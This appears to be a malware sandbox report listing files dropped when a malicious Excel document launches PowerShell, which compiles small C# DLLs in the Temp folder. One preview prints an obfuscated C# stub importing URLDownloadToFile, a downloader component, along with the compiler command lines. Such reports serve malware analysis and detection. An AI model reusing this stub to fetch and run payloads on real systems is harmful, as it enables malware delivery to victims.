File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.20682456856722
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fcsWJA0zxs7+AEszIP23fcsWJiH:p37Lvkmb6KzHWJA0WZEoHWJk
MD5:	6B8FBC8332D01EE793F86296D1C56EAE
SHA1:	2AD61203B4CA970DFF5E34990034B259831E561F
SHA-256:	BD3E9E4AAA9E9128CEB3E74483434B1BAF207A68F624F54C99DFEEE6D8640498
SHA-512:	20A704DF2ED6AB4E865A97EE07F32BA90AA11B3C046DBA5FDF4D780D66FC54544E09B4A12DDB44A073A42EFCA1F0BDC0CC99D21992EB2617AEEC161D61CC408F
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.0.cs"

C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8110854318806573
Encrypted:	false
SSDEEP:	24:etGSO9PBu5exl8q8Z/krqkY8G5rtkZfbAlCjcUWI+ycuZhNXsakS8hPNnq:61sx+qY8I6J0gA31ulXsa38Tq
MD5:	87F98AEAE377D22B24D00E0B057BBDF2
SHA1:	42FFBE31F3358A0DEE208E05592D75CE73441176
SHA-256:	73162E9FE0761453586234F0B08517492EB1079B150C08154302793C9A645BAF
SHA-512:	B3C77A0E44BCBCEEA16BF381656FDB030D539BD6DC6AA836C4E442AED372E741EBA19A4DADF1DCB73F5E42F52AA38678B360FA1217093C04C719B6984DF05281
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....!g...........!.................#... ...@....... ....................................@.................................T#..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................1......r.....r.......................................... 8.....P ......J.........P.....T....._.....b.....m...J.....J...!.J.....J.......!.....*.......8.......................................!..........<Module>.3l

C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.325805764764694
Encrypted:	false
SSDEEP:	24:AId3ka6Kz2AEo2PKaMD5DqBVKVrdFAMBJTH:Akka602AEo2PKdDcVKdBJj
MD5:	EA41EE7903EE34B6613B6282A79F2BF1
SHA1:	105C7609A0FF4A59C09C7907A9A6304090464827
SHA-256:	AA82B0AAF852E4BBA30208E26A4C50AFE4C79ABA50B0BB00B468C9764AB63D96
SHA-512:	2B3EC442E6D9623E284E4BE5EA4DBFB8BE8708BF6F4DAED4A4A1DC4CCF8BB5C9811C4F30016928EBBB6E73F0319B9F472EAF054188C9E91E69DABCA4E962248F
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\3lzsnizg\CSCBF63D2839AE346389099BF789A42623B.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0862068516666508
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryDRhDqak7YnqqeRhDbPN5Dlq5J:+RI+ycuZhNXsakS8hPNnqX
MD5:	CF6C45D1C1DF44327D292318E9907996
SHA1:	A62B8D5161A13E9B8FF6F0B814B90D735C1AA731
SHA-256:	5EDA340D01827C5543381D846280614AD0F0ABC5D74BD658063B36685A1B8E33
SHA-512:	6B7CD5E427582F3EB9FB36E2D9B2BC2FFB7CA7405755A13564F463825FC4B484DAAC440EA0ECB0FF41EC230F37D33A83B2CF5572C66C89358789206926A0D536
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.l.z.s.n.i.z.g...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.l.z.s.n.i.z.g...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\5h3djxwk.0yq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\RES1F25.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Oct 30 06:53:05 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.993546790965639
Encrypted:	false
SSDEEP:	24:HwAie9E2UGEjEdHDwKdNWI+ycuZhNXsakS8hPNnqSqd:UGF0Kd41ulXsa38TqSK
MD5:	DDC9C5BF3F4CE0DF83F2DF1FB64DADBB
SHA1:	D6D22C8CE871C657BF31BC07E60BBAD70218F61E
SHA-256:	FC15433F9E93E907F06DC31B6272ED354B11863C81622F0B5ABF09222462DCA2
SHA-512:	6CA88D4C0CFDEFEC39A3F3DD654EFDFCA6FAAB2BE96D18AEC98619504F0C873D115FAE69632CFD6FE17649B656001DC7A86D8C3400AEF4A5814A2CF7BCD6B552
Malicious:	false
Preview:	L.....!g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\3lzsnizg\CSCBF63D2839AE346389099BF789A42623B.TMP................lE...D2})#..y...........4.......C:\Users\user\AppData\Local\Temp\RES1F25.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.l.z.s.n.i.z.g...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RES603A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Oct 30 06:53:22 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	4.01160221398101
Encrypted:	false
SSDEEP:	24:Hwie9E2USu9kvdHbwKdNWI+ycuZhNEakSgPNnqSqd:tEVsKd41ulEa34qSK
MD5:	CD55727ED8559AD4DD1915B82E31DCFD
SHA1:	B3258FFFB187126A90DB8AC0622D1E74D7D9E06E
SHA-256:	286E05479BFC7534CB35BA46175A355EA30E40A76023DB4AFFE56843E3AF14F9
SHA-512:	D47F18292AB48D09FA89D9F95C9F54C346FA123276D9C457E04C1D0FEAC8951DE02C20A6FC2E736B6B913E1639F312AD094E974B2DD8FFE8BCBEB7DE168884AB
Malicious:	false
Preview:	L.....!g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\y2w1vq2t\CSCE3D35A7BEA64426091DB9BB55EAE7DEC.TMP................}..bw.v.#....6...........4.......C:\Users\user\AppData\Local\Temp\RES603A.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.2.w.1.v.q.2.t...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\cpteaqni.xnc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\egiqlxdp.ujd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\filbyjye.4bm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\g0nguoan.fma.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\gjn5uk0e.32q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\j50n1fij.kgk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\o1az2ww5.pnn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\qf5lpuym.u20.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\sy1pfacb.vds.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\t20y0zmk.2av.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\v5jewprq.5wb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\xehflqh5.h1t.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\xhsrausy.vui.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\y2w1vq2t\CSCE3D35A7BEA64426091DB9BB55EAE7DEC.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1291141731756174
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryiak7YnqqgPN5Dlq5J:+RI+ycuZhNEakSgPNnqX
MD5:	937DE2156277B276BE23E8FD80833680
SHA1:	A027ED5DE4BE4CAB6C668175787C2F0DB94BA5B6
SHA-256:	A92EFDB4841252C426C25EDB5FFF5D29672F58A2D2A5A0B27487F3B92981FF27
SHA-512:	197E915A0019F732CD27F4CC3A9C145F47D176C18FC9B07C244F150F93921A63FCE4F49F8D0D20C31C708105CE569B2BDED92A7A55D1A1B947CED1EEABFA900E
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.2.w.1.v.q.2.t...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...y.2.w.1.v.q.2.t...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (358)
Category:	dropped
Size (bytes):	470
Entropy (8bit):	3.781093878209523
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuS0FMiQXReKJ8SRHy4HHe03hUkF/BGudqIy:V/DTLDfuKXfHa0z7GudDy
MD5:	A13A120C5F8C637E5E9CCD2A7225F41E
SHA1:	7C9258E242BA83D2D8E0531C361DEF8A64AFD2DB
SHA-256:	1E28BCF876220C012A8EFFC28D022D43D7A531E3D64B38AFDB5F87981C311343
SHA-512:	AF3EF5BB053C231A5A60477332B6A95248C4ACBCA1983BACB882D00B82937A03F0AEA03186B34F572526B99FDB5124EA42075FFB2E303C4681B558450EF4DEC3
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace laNEDk.{. public class Af. {. [DllImport("URlMon", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr mGy,string PZzaOjRwwP,string mH,uint KQXMKcRHBc,IntPtr nExO);.. }..}.

C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.303110330145285
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fA+CCJD+zxs7+AEszIP23fA+CCJEA:p37Lvkmb6Kz/CCJD+WZEo/CCJEA
MD5:	6E41856A6ABFBC9A737AED2E42F8F2CA
SHA1:	E1641332CD16F73B10F5783292FD7A585A15ED62
SHA-256:	FB727947517F583D7728FB9C7009B6508CDE944096764F8A2D361BAA52715E6F
SHA-512:	87079779A6AAF47255776190C59FBE289960ACE417253B333B1973A92F0BB57DB5F33E499BC065862969E2148D59B8D1638EE4B1B8F1B25F1BA52849A237E1B0
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.0.cs"

C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8309075896479046
Encrypted:	false
SSDEEP:	24:etGSjPBu5exl8q8Z/krqkY8S1f5rtkZf6FETOjcUWI+ycuZhNEakSgPNnq:60sx+qY8SP6J6FE6A31ulEa34q
MD5:	33E4FAF5DD93381A98656A3FBE1F277C
SHA1:	92D06E0F41C5BA5AAB5296F1C3B2D3B4557612D1
SHA-256:	72FFCEDF4FBFE2CB28094DF1A25976EC92ADA3EF597A7CEE647DE32F8911F1C5
SHA-512:	2C1EE9AFC978C95F1F6AAA544BA158F6D9A0365046687ADEE6A61E3D21DE437EEFF475C4827D9ED7989793FF4450CDAE11E21006F2E1FB80814D7D5C638FD09B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....!g...........!.................#... ...@....... ....................................@.................................T#..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................1......r.....r.......................................... 8.....P ......J.........P.....T....._.....b.....m...J.....J...!.J.....J.......!.....*.......8.......................................!..........<Module>.y2

C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.368708676588737
Encrypted:	false
SSDEEP:	24:AId3ka6KzaCN/EoaCwKaMD5DqBVKVrdFAMBJTH:Akka60aMEoaDKdDcVKdBJj
MD5:	E1000FF8C11BDF0F56F10593566CA96F
SHA1:	D7FD331DFAFDFF366741A687909D3325552ECA11
SHA-256:	E7EED99D8D579740AA1BB956041AC05A50F2A51F9D5B74EE07CB9B5B946A3D26
SHA-512:	FD006D3E583BF1220041DF467111F2656824DD5D0626A9B2A054F8F1AAE43D70AD58F267F838A2582167453DB67DC27F96F970CA217924B432026775D56C7EF4
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\z1kd51wl.d3s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF5C52978D6E4C8538.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
